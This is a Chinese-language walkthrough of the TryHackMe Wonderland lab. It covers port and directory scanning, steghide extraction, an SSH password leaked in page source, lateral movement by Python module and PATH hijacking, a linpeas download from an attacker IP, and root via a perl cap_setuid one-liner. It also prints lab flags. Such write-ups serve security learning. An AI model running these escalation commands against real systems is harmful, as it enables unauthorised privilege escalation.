基本信息

由于tryhackme是在线靶场,所以这里的IP均为对方的内网IP

攻击机器:10.10.242.186

靶机:10.10.173.3

目标:获取2个flag+root权限

具体流程

信息收集

首先我们使用fscan进行端口扫描,fscan -h 10.10.173.3

image-20241115154149228

这里开放了80端口,我们直接访问80端口即可,如下所示

image-20241115154520201

首先我们使用gobuster扫一下后门路径,使用如下命令

gobuster -u http://10.10.173.3:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir

image-20241115155115952

我们访问r路径,如下所示

image-20241115155203115

叫我们继续往前,keepgoing,说明我们的大体方向是对的,现在我们还需要去看看其他地方有没有信息,我们的首页还给我们提供了一张图片,我们可以去看看这张图片是否存在图片隐写的问题

steghide探寻隐藏信息

我们将这张图片下载下来

wget http://10.10.173.3/img/white_rabbit_1.jpg

我们使用steghide进行隐藏信息提取

steghide extract -sf white_rabbit_1.jpg 

image-20241115155626403

我们发现有一个hint.txt,我们直接查看一下这个txt文件即可,如下所示

image-20241115155718253

这里叫我们follow r a b b i t,根据我们前期探测出来的r路径,我们可以猜测其路径结构是/r/a/b/b/i/t

image-20241115155902485

我们查看页面源码,可以发现我们这里泄露了某个账户的ssh账号

alice:HowDothTheLittleCrocodileImproveHisShiningTail

image-20241115155958257

我们这里使用ssh登录即可

权限横移

image-20241115160203180

我们这里成功以alice账户登录了ssh,这里我们列举一下目录,如下所示

image-20241115160255758

alice目录下有一个root.txt,那我们不妨猜测user.txt在/root下,我们尝试切换目录,如下所示

image-20241115160750155

thm{"Curiouser and curiouser!"}

我们成功在root目录下找到了我们的user.txt,但是我们也发现我们根本没办法进入到其他用户的目录下,所以我们这里要进行权限横移

我们发现在alice目录下存在一个walrus_and_the_carpenter.py文件,且我们执行sudo -l,可以发现我们可以切换到rabbit用户下

image-20241115162131917

image-20241115161230187

而且这个文件我们可以编辑,所以我们先看看这个文件干了什么

image-20241115161543992

我们发现首先import random这里我们可以伪造一个random.py文件,我们在当前目录下创建一个random.py文件,内容写上

import os
os.system("/bin/bash")

image-20241115162252842

我们再运行这个py文件即可,如下所示

sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

我们成功切换到rabbit用户下,我们再看看有没有什么我们可以利用的信息,我们首先查看到rabbit下存放在一个二进制文件

image-20241115163458959

我们尝试去读取里面的函数,但是我们发现没有strings函数,我们先尝试八这个文件下载下来,我们开启web服务,如下所示

python3 -m http.server 8080

image-20241115163834027

我们使用wget http://10.10.173.3:8080/teaParty下载到本地,如下所示

image-20241115212213880

我们利用strings函数查看该二进制文件,如下所示

image-20241115213420324

我们可以看见里面有个date函数,我们可以尝试利用环境变量进行攻击,以达到权限横移,如下所示

cd /tmp
touch date
nano date #写入/bin/bash
chmod +x date
export PATH=/tmp:$PATH

之后我们运行teaParty文件即可,这样我们就能获取到hatter用户的权限,如下所示

image-20241115214543542

我们直接看该目录下的文件,我们可以看到目录下面有个password.txt,如下所示

image-20241115214731201

我们直接登录这个用户然后进行权限提升

权限提升

我们首先尝试sudo提权,但是没有任何可以利用的信息,我们接着尝试suid提权,但是也没有什么发现,这里我们先下载linpeas.sh来看看版本是否有漏洞

wget http://10.14.91.183/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

我们主要看标红的信息即可,如下所示

image-20241115220708973

我们发现这里有一串被特别标记的,大概率就是我们可以利用的利用点

/usr/bin/perl = cap_setuid+ep 这行代码的意思是:
给 /usr/bin/perl 文件设置能力,使得它具有 cap_setuid 能力,并且这个能力是有效的 (+e) 和被允许的 (+p)。
这意味着 Perl 解释器在执行时将有能力调用 setuid() 函数,进而可以更改进程的 UID。

所以我们可以尝试使用perl进行uid的赋值,进而获取root的uid,如下所示

image-20241115221122273

我们直接执行

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

image-20241115221234867

image-20241115221322947

thm{Twinkle, twinkle, little bat! How I wonder what you\u2019re at!}

本题到此结束